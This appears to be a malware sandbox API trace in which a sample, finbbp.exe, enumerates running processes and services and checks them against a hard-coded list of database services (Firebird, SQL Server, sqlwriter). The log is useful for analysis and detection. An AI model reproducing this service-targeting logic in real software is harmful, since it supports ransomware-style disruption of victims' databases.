lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.972] lstrlenW (lpString="taskhostw.exe") returned 13 [0231.972] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0231.972] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0231.972] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0231.973] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0231.973] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0231.974] lstrlenW (lpString="Memory Compression") returned 18 [0231.974] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.974] lstrlenW (lpString="explorer.exe") returned 12 [0231.974] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.975] lstrlenW (lpString="SearchUI.exe") returned 12 [0231.975] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.975] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0231.975] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.976] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0231.976] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.977] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0231.977] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0231.977] lstrlenW (lpString="finbbp.exe") returned 10 [0231.977] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.978] lstrlenW (lpString="cmd.exe") returned 7 [0231.978] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.978] lstrlenW (lpString="conhost.exe") returned 11 [0231.978] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0231.979] lstrlenW (lpString="mode.com") returned 8 [0231.979] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0231.979] CloseHandle (hObject=0x3bc) returned 1 [0231.980] Sleep (dwMilliseconds=0x1f4) [0232.544] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aad80 [0232.545] EnumServicesStatusExW (in: hSCManager=0x41aad80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0232.545] GetLastError () returned 0xea [0232.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x4214d98 [0232.546] EnumServicesStatusExW (in: hSCManager=0x41aad80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4214d98, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4214d98, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0232.547] CloseServiceHandle (hSCObject=0x41aad80) returned 1 [0232.550] lstrlenW (lpString="AppXSvc") returned 7 [0232.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0232.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0232.550] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0232.550] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0232.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0232.550] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0232.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.550] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0232.550] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0232.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0232.550] lstrlenW (lpString="Audiosrv") returned 8 [0232.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0232.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0232.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0232.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0232.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0232.551] lstrlenW (lpString="BFE") returned 3 [0232.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0232.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0232.551] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0232.551] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0232.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0232.551] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0232.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0232.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0232.551] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0232.551] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0232.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0232.551] lstrlenW (lpString="CDPSvc") returned 6 [0232.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0232.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0232.551] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0232.551] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0232.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0232.551] lstrlenW (lpString="ClickToRunSvc") returned 13 [0232.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0232.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0232.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0232.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0232.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0232.552] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0232.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0232.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0232.552] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0232.552] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0232.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0232.552] lstrlenW (lpString="CryptSvc") returned 8 [0232.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0232.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0232.552] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0232.552] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0232.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0232.552] lstrlenW (lpString="DcomLaunch") returned 10 [0232.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.552] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0232.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0232.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0232.553] lstrlenW (lpString="DeviceAssociationService") returned 24 [0232.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0232.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0232.553] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0232.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0232.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0232.553] lstrlenW (lpString="Dhcp") returned 4 [0232.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0232.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0232.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0232.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0232.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0232.553] lstrlenW (lpString="Dnscache") returned 8 [0232.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0232.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0232.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0232.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0232.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0232.553] lstrlenW (lpString="DPS") returned 3 [0232.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0232.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0232.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0232.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0232.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0232.554] lstrlenW (lpString="DusmSvc") returned 7 [0232.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0232.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0232.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0232.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0232.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0232.554] lstrlenW (lpString="EventLog") returned 8 [0232.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0232.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0232.554] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0232.554] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0232.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0232.554] lstrlenW (lpString="EventSystem") returned 11 [0232.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0232.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0232.555] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0232.555] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0232.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0232.555] lstrlenW (lpString="FontCache") returned 9 [0232.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0232.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0232.555] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0232.555] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0232.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0232.555] lstrlenW (lpString="gpsvc") returned 5 [0232.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0232.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0232.555] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0232.555] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0232.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0232.555] lstrlenW (lpString="iphlpsvc") returned 8 [0232.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0232.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0232.556] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0232.556] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0232.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0232.556] lstrlenW (lpString="KeyIso") returned 6 [0232.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0232.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0232.556] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0232.556] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0232.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0232.556] lstrlenW (lpString="LanmanServer") returned 12 [0232.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0232.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0232.556] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0232.556] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0232.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0232.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0232.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0232.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0232.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0232.557] lstrlenW (lpString="lfsvc") returned 5 [0232.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0232.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0232.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0232.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0232.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0232.557] lstrlenW (lpString="lmhosts") returned 7 [0232.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0232.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0232.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0232.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0232.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0232.558] lstrlenW (lpString="LSM") returned 3 [0232.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0232.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0232.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0232.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0232.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0232.558] lstrlenW (lpString="MpsSvc") returned 6 [0232.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0232.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0232.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0232.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0232.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0232.558] lstrlenW (lpString="NcbService") returned 10 [0232.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0232.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0232.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0232.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0232.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0232.559] lstrlenW (lpString="netprofm") returned 8 [0232.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0232.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0232.559] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0232.559] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0232.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0232.559] lstrlenW (lpString="NgcSvc") returned 6 [0232.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0232.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0232.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0232.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0232.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0232.559] lstrlenW (lpString="NlaSvc") returned 6 [0232.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0232.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0232.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0232.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0232.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0232.559] lstrlenW (lpString="nsi") returned 3 [0232.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0232.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0232.560] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0232.560] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0232.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0232.560] lstrlenW (lpString="PcaSvc") returned 6 [0232.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0232.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0232.560] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0232.560] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0232.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0232.560] lstrlenW (lpString="PlugPlay") returned 8 [0232.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0232.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0232.560] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0232.560] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0232.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0232.560] lstrlenW (lpString="Power") returned 5 [0232.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0232.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0232.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0232.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0232.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0232.560] lstrlenW (lpString="ProfSvc") returned 7 [0232.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0232.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0232.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0232.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0232.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0232.561] lstrlenW (lpString="RpcEptMapper") returned 12 [0232.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0232.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0232.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0232.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0232.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0232.561] lstrlenW (lpString="RpcSs") returned 5 [0232.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0232.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0232.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0232.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0232.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0232.561] lstrlenW (lpString="SamSs") returned 5 [0232.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0232.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0232.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0232.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0232.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0232.561] lstrlenW (lpString="Schedule") returned 8 [0232.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0232.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0232.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0232.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0232.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0232.562] lstrlenW (lpString="SecurityHealthService") returned 21 [0232.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0232.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0232.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0232.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0232.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0232.562] lstrlenW (lpString="SENS") returned 4 [0232.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0232.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0232.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0232.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0232.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0232.562] lstrlenW (lpString="ShellHWDetection") returned 16 [0232.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0232.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 